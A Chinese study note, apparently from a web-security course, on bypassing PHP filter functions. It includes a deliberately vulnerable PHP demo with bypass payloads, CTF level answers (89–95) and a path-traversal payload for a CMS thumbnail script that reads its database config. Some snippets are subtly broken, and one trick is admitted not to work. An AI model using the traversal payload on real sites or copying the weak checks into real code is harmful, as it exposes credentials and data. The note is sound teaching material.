#知识点:
1、过滤函数缺陷绕过
2、CTF考点与代码审计
#详细点:最常见函数使用
==与===
md5
intval
strpos
in_array
preg_match
str_replace
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';
//1、== ===缺陷绕过 == 弱类型对比 ===还会比较类型
$a=1;
if($a==$_GET['x']){
echo $flag;
}
//1.0 +1 1a
$a='1';
if($a===$_GET['y']){
echo $flag;
}
//1.0 +1等
//2、MD5函数缺陷绕过 ==弱对比 ===强类型对比
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//==
//echo MD5('QNKCDZO');
//echo MD5('240610708');
//===
//name[]=1&password[]=2
//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}
// 666.0 +666
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
echo $flag;
}
//0x29a
//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($ii==$i,"0")){
echo $flag;
}
//?num=%0a666
//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}
//?i=1ex
//6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1
//7、str_replace无法迭代过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//?s=sselectelect
?>
原理-缺陷函数-使用讲解-本地
1、== ===缺陷绕过 == 弱类型对比,不会对比类型 ===还会比较类型
$a=1;
if($a==$_GET['x']){
echo $flag;
}
//1.0 +1 1a

$a='1';
if($a===$_GET['y']){
echo $flag;
}
这个判断就可以确定唯一性,不能更改。
2、MD5函数缺陷绕过 ==弱对比 ===强类型对比
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
0e开头的md5值:https://www.cnblogs.com/Oran9e/p/6537204.html
//==
//echo MD5('QNKCDZO');
0e830400451993494058024219903391
//echo MD5('240610708');
0e462097431906509019562988736854

if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) === MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
Md5不能判断数组,判断为null
//===
//name[]=1&password[]=2

3、intval缺陷绕过
Intval 使用:https://www.runoob.com/php/php-intval-function.html

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}
// 666.0 +666

$i='666';
$ii=$_GET['n1'];
if(intval($ii==$i,0)){
echo $flag;
}
如果字符串以 "0" 开始,使用 8 进制(octal);
//0x29a

4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
echo $flag;
}
//?num=%0a666
好像不太行。
5、in_array第三个参数安全

$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}
没有TRUE相当于==,设置了TRUE相当于===
//?i=1ex
6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
preg_match匹配不了数组。
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1
7、str_replace无法迭代过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//?s=sselectelect
89关:?num[]=1
90关:?num=4476.0
91关:?cmd=%0aphp
92关:?num=010574
93关:?num=010574
94关:?num= 010574
95关:?u=./flag.php
全局搜索str_replace函数,发现:

控制dir,可以任意读取文件。/include/thumb.php?dir=.....///http\.....//\config/config_db.php
